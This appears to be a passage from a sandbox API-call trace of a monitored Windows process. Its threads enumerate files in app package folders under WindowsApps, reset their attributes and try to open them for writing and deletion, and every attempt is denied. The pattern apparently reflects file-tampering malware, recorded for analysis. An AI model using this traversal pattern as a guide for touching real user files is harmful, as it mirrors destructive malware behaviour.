	[0077.427] wcscat (in: _Dest=0x2e03b60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8f68
	[0077.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xabbf4c99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87fb8
	[0081.801] wcscmp (_String1=".", _String2=".") returned 0
	[0081.801] FindNextFileW (in: hFindFile=0x2d87fb8, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xabbf4c99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.801] wcscmp (_String1="..", _String2=".") returned 1
	[0081.801] wcscmp (_String1="..", _String2="..") returned 0
	[0081.801] FindNextFileW (in: hFindFile=0x2d87fb8, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xabbf4c99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0081.801] FindClose (in: hFindFile=0x2d87fb8 | out: hFindFile=0x2d87fb8) returned 1
	[0081.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8f68) returned 1
	[0081.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03b60) returned 1
	[0081.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348a0) returned 1

Thread:
	id = 522
	os_tid = 0x1750

	[0077.428] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0079.437] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.437] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.437] GetLastError () returned 0x5
	[0079.437] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.438] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e349a8) returned 1

Thread:
	id = 523
	os_tid = 0x1754

	[0077.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e119d8
	[0077.429] wcscpy (in: _Dest=0x2e119d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources"
	[0077.429] wcscat (in: _Dest=0x2e119d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0077.429] wcscat (in: _Dest=0x2e119d8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\*"
	[0077.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4745538
	[0077.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x4745538 | out: lpFindFileData=0x4745538*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba02f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87f38
	[0081.800] wcscmp (_String1=".", _String2=".") returned 0
	[0081.800] FindNextFileW (in: hFindFile=0x2d87f38, lpFindFileData=0x4745538 | out: lpFindFileData=0x4745538*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba02f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.800] wcscmp (_String1="..", _String2=".") returned 1
	[0081.800] wcscmp (_String1="..", _String2="..") returned 0
	[0081.800] FindNextFileW (in: hFindFile=0x2d87f38, lpFindFileData=0x4745538 | out: lpFindFileData=0x4745538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac310a85, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0081.800] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0081.800] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0081.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32d38
	[0081.800] wcscpy (in: _Dest=0x4e32d38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources"
	[0081.800] wcscat (in: _Dest=0x4e32d38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0081.800] wcscat (in: _Dest=0x4e32d38, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0091.868] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc")) returned 0x20
	[0091.868] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0091.868] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.868] GetLastError () returned 0x5
	[0091.868] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0091.868] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32d38) returned 1
	[0091.868] FindNextFileW (in: hFindFile=0x2d87f38, lpFindFileData=0x4745538 | out: lpFindFileData=0x4745538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac310a85, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.rsrc", cAlternateFileName="")) returned 1
	[0091.868] wcscmp (_String1="1.rsrc", _String2=".") returned 1
	[0091.868] wcscmp (_String1="1.rsrc", _String2="..") returned 1
	[0091.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32998
	[0091.868] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources"
	[0091.869] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0091.869] wcscat (in: _Dest=0x4e32998, _Source="1.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc"
	[0091.869] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_resources\\1.rsrc")) returned 0x20
	[0091.869] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc", dwFileAttributes=0x20) returned 0
	[0091.869] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_resources\\1.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.869] GetLastError () returned 0x5
	[0091.869] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc", dwFileAttributes=0x20) returned 0
	[0091.869] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.869] FindNextFileW (in: hFindFile=0x2d87f38, lpFindFileData=0x4745538 | out: lpFindFileData=0x4745538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac310a85, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0091.869] wcscmp (_String1="index.txt", _String2=".") returned 1
	[0091.869] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0091.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32998
	[0091.869] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources"
	[0091.869] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0091.869] wcscat (in: _Dest=0x4e32998, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0091.869] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_resources\\index.txt")) returned 0x20
	[0091.869] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0091.870] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.870] GetLastError () returned 0x5
	[0091.870] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0091.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0091.870] FindNextFileW (in: hFindFile=0x2d87f38, lpFindFileData=0x4745538 | out: lpFindFileData=0x4745538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac310a85, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac310a85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0091.870] FindClose (in: hFindFile=0x2d87f38 | out: hFindFile=0x2d87f38) returned 1
	[0091.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4745538) returned 1
	[0091.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e119d8) returned 1
	[0091.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e114c8) returned 1

Thread:
	id = 524
	os_tid = 0x1758

	[0077.429] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0084.939] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0084.939] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0084.939] GetLastError () returned 0x5
	[0084.939] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0084.939] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a6d8) returned 1

Thread:
	id = 525
	os_tid = 0x175c

	[0077.430] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.797] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.797] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.797] GetLastError () returned 0x5
	[0081.797] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89d28) returned 1

Thread:
	id = 526
	os_tid = 0x1760

	[0077.431] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0084.933] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0084.940] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0084.940] GetLastError () returned 0x5
	[0084.940] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0084.940] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89e20) returned 1

Thread:
	id = 527
	os_tid = 0x1764

	[0077.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4723458
	[0077.432] wcscpy (in: _Dest=0x4723458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets"
	[0077.432] wcscat (in: _Dest=0x4723458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\"
	[0077.432] wcscat (in: _Dest=0x4723458, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\*"
	[0077.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746140
	[0077.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4746140 | out: lpFindFileData=0x4746140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29a95021, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9559ab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x29c3c6c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0079.439] wcscmp (_String1=".", _String2=".") returned 0
	[0079.439] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x4746140 | out: lpFindFileData=0x4746140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29a95021, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9559ab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x29c3c6c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.440] wcscmp (_String1="..", _String2=".") returned 1
	[0079.440] wcscmp (_String1="..", _String2="..") returned 0
	[0079.440] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x4746140 | out: lpFindFileData=0x4746140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29a95021, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29a95021, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29a95021, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo.scale-150.png", cAlternateFileName="")) returned 1
	[0079.440] wcscmp (_String1="BadgeLogo.scale-150.png", _String2=".") returned 1
	[0079.440] wcscmp (_String1="BadgeLogo.scale-150.png", _String2="..") returned 1
	[0079.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x2d89690
	[0079.440] wcscpy (in: _Dest=0x2d89690, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets"
	[0079.440] wcscat (in: _Dest=0x2d89690, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\"
	[0079.440] wcscat (in: _Dest=0x2d89690, _Source="BadgeLogo.scale-150.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-150.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-150.png"

Thread:
	id = 528
	os_tid = 0x1768

	[0077.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2e451c0
